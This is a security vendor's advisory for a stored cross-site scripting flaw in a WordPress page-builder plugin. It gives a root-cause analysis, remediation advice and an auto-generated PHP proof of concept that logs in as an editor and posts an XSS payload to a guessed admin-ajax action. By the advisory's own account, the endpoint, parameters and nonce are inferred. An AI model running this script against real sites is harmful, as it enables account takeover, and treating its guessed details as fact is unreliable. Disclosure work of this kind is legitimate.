Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24594: Livemesh Addons for WPBakery Page Builder <= 3.9.4 – Authenticated (Editor+) Stored Cross-Site Scripting (addons-for-visual-composer)

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 3.9.4
Patched Version
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24594 (metadata-based):
The Livemesh Addons for WPBakery Page Builder plugin contains an authenticated stored cross-site scripting vulnerability affecting versions up to and including 3.9.4. This vulnerability allows attackers with editor-level permissions to inject malicious scripts into WordPress pages. The vulnerability only manifests in WordPress multisite installations or standard installations where the unfiltered_html capability has been disabled. The CVSS score of 4.4 reflects the elevated privileges required and the conditional nature of the vulnerability.

Atomic Edge research identifies insufficient input sanitization and output escaping as the root cause. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description explicitly states insufficient input sanitization and output escaping. This indicates the plugin likely accepts user-supplied data through frontend components or backend interfaces without proper validation. The plugin then stores this data and renders it without adequate escaping. These conclusions are inferred from the CWE classification and vulnerability description since source code is unavailable for direct examination.

Exploitation requires an authenticated attacker with editor-level permissions. Attackers would access plugin components that accept HTML or script content, such as WPBakery Page Builder elements, shortcode parameters, or custom field inputs. They would submit malicious JavaScript payloads through these interfaces. The payloads would persist in the WordPress database. The scripts execute when visitors or administrators view pages containing the injected content. The attack vector likely involves POST requests to admin-ajax.php with action parameters specific to Livemesh Addons functionality, or direct manipulation of page content through WordPress editor interfaces.

Remediation requires implementing proper input validation and output escaping. Developers should sanitize all user-controlled data before storage using WordPress functions like wp_kses_post() or sanitize_text_field(). They must escape all dynamic content during output using functions like esc_html(), esc_attr(), or wp_kses(). The fix should also enforce capability checks to ensure only users with unfiltered_html permissions can submit unsanitized HTML. These measures align with WordPress coding standards for preventing cross-site scripting vulnerabilities.

Successful exploitation allows attackers to execute arbitrary JavaScript in victim browsers. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. The stored nature means a single injection affects all users viewing the compromised page. Attackers could manipulate page content, steal authentication cookies, or perform actions on behalf of authenticated users. The editor-level requirement limits immediate impact, but compromised editor accounts could escalate privileges through administrative actions.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24594 - Livemesh Addons for WPBakery Page Builder <= 3.9.4 - Authenticated (Editor+) Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-24594
 * Assumptions based on vulnerability description:
 * 1. Plugin has WPBakery Page Builder integration with custom elements
 * 2. Vulnerable parameter accepts unsanitized HTML/JavaScript
 * 3. Attack requires editor-level authentication
 * 4. Exploitation occurs via admin-ajax.php or direct page editing
 *
 * This PoC demonstrates injection through a simulated WPBakery element save action.
 * Actual endpoint and parameter names are inferred from plugin patterns.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'editor_account';
$password = 'editor_password';

// Payload to inject - simple alert for demonstration
$payload = '<img src=x onerror=alert(document.domain)>';

// Simulate login to obtain authentication cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => true
]);
$response = curl_exec($ch);

// Check login success by looking for WordPress admin dashboard indicators
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Assume vulnerable endpoint is admin-ajax.php with Livemesh-specific action
// Common pattern: wp_ajax_{plugin_prefix}_save_element
$ajax_action = 'livemesh_vc_save_element';

// Construct malicious request to inject XSS payload
// Parameter names inferred from WPBakery element structure
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => $ajax_action,
        'element_data' => json_encode([
            'type' => 'livemesh_widget',
            'params' => [
                'content' => $payload,
                'custom_html' => $payload,
                'title' => 'Injected Element'
            ]
        ]),
        'post_id' => '123', // Target post ID
        'nonce' => 'inferred_nonce_value' // Would need valid nonce in real scenario
    ]),
    CURLOPT_HTTPHEADER => [
        'X-Requested-With: XMLHttpRequest',
        'Referer: ' . $target_url . '/wp-admin/post.php?post=123&action=edit'
    ]
]);

$response = curl_exec($ch);
curl_close($ch);

// Check for successful injection indicators
if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
    echo 'Payload injected successfully. Visit affected page to trigger XSS.';
} else {
    echo 'Injection may have failed. Actual endpoint/parameters may differ.';
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School